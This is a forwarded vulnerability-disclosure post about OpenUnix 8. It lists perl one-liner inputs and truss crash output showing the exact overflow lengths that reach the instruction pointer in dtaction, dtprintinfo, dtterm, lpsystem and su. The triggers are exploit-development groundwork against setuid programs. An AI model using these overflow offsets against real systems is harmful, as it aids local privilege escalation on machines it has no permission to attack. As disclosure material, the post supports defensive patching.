Fwd: Returned post -- OpenUnix 8 lpsystem , su and DT overflows lengths to eip

[dotslash () snosoft com]

> > Sorry if this has already made it to this list... I have been getting 
> > lots of listserv replys it doesn't seem to like my mail client.

> > I have had several people ask for the exact lengths on the OpenUnix 8 
> > DT
> > overflows below is some debugging information
> > to help out. (Davor sorry I sent this to a list... but for some reason
> > I can't mail you)
> >
> > -KF
> >
> >
> > # HOME=`perl -e 'print "A" x 1036'`
> > # export HOME
> > # truss dtaction a
> > Segmentation Fault
> >      Incurred fault #6, FLTBOUNDS  %pc = 0x41414141
> >        siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
> >      Received signal #11, SIGSEGV [default]
> >        siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
> >          *** process killed ***
> >
> > # HOME=`perl -e 'print "A" x 1035'`
> > # export HOME
> > # turss dtaction a
> > Segmentation Fault
> >      Incurred fault #6, FLTBOUNDS  %pc = 0x00414141
> >        siginfo: SIGSEGV SEGV_MAPERR addr=0x00414141
> >      Received signal #11, SIGSEGV [default]
> >        siginfo: SIGSEGV SEGV_MAPERR addr=0x00414141
> >          *** process killed ***
> > -------------------------------------------------------------------------------------------------
> > # HOME=`perl -e 'print "A" x 1036'`
> > # export HOME
> > # truss dtprintinfo
> > Segmentation Fault
> >      Incurred fault #6, FLTBOUNDS  %pc = 0x41414141
> >        siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
> >      Received signal #11, SIGSEGV [default]
> >        siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
> >          *** process killed ***
> >
> > # HOME=`perl -e 'print "A" x 1035'`
> > # export HOME
> > # truss dtprintinfo
> >      Incurred fault #6, FLTBOUNDS  %pc = 0x00414141
> >        siginfo: SIGSEGV SEGV_MAPERR addr=0x00414141
> >      Received signal #11, SIGSEGV [default]
> >        siginfo: SIGSEGV SEGV_MAPERR addr=0x00414141
> >          *** process killed ***
> >
> > ------------------------------------------------------------------------------------------------
> >
> > # HOME=`perl -e 'print "A" x 1035'`
> > # export HOME
> > # truss dtterm
> > Segmentation Fault
> >      Incurred fault #6, FLTBOUNDS  %pc = 0x00414141
> >        siginfo: SIGSEGV SEGV_MAPERR addr=0x00414141
> >      Received signal #11, SIGSEGV [default]
> >        siginfo: SIGSEGV SEGV_MAPERR addr=0x00414141
> >          *** process killed ***
> >
> > # HOME=`perl -e 'print "A" x 1036'`
> > # export HOME
> >      Incurred fault #6, FLTBOUNDS  %pc = 0x41414141
> >        siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
> >      Received signal #11, SIGSEGV [default]
> >        siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
> >          *** process killed ***
> > ------------------------------------------------------------------------------------------------
> >
> > # truss lpsystem `perl -e 'print "A" x 2190'`
> >      Incurred fault #6, FLTBOUNDS  %pc = 0x08077B40
> >        siginfo: SIGSEGV SEGV_MAPERR addr=0x00004141
> >      Received signal #11, SIGSEGV [default]
> >        siginfo: SIGSEGV SEGV_MAPERR addr=0x00004141
> >          *** process killed ***
> >
> > # truss lpsystem `perl -e 'print "A" x 2192'`
> >     Incurred fault #6, FLTBOUNDS  %pc = 0x08077B40
> >        siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
> >      Received signal #11, SIGSEGV [default]
> >        siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
> >          *** process killed ***
> >
> > --------------------------------------------------------------------------------------------------
> > # TERM=`perl -e 'print "A" x 1632'`
> > # export TERM
> > # truss /bin/su -
> >      Incurred fault #6, FLTBOUNDS  %pc = 0x00414141
> >        siginfo: SIGSEGV SEGV_MAPERR addr=0x00414141
> >      Received signal #11, SIGSEGV [default]
> >        siginfo: SIGSEGV SEGV_MAPERR addr=0x00414141
> >          *** process killed ***
> >
> > -------------------------------------------------------------------------------------------------
> > (no eip hit here
> > # TERM=`perl -e 'print "A" x 1264'`
> > # export TERM
> > # /sbin/su -
> > # exit
> > # TERM=`perl -e 'print "A" x 1265'`
> > # export TERM
> > # /sbin/su -
> > Segmentation Fault - core dumped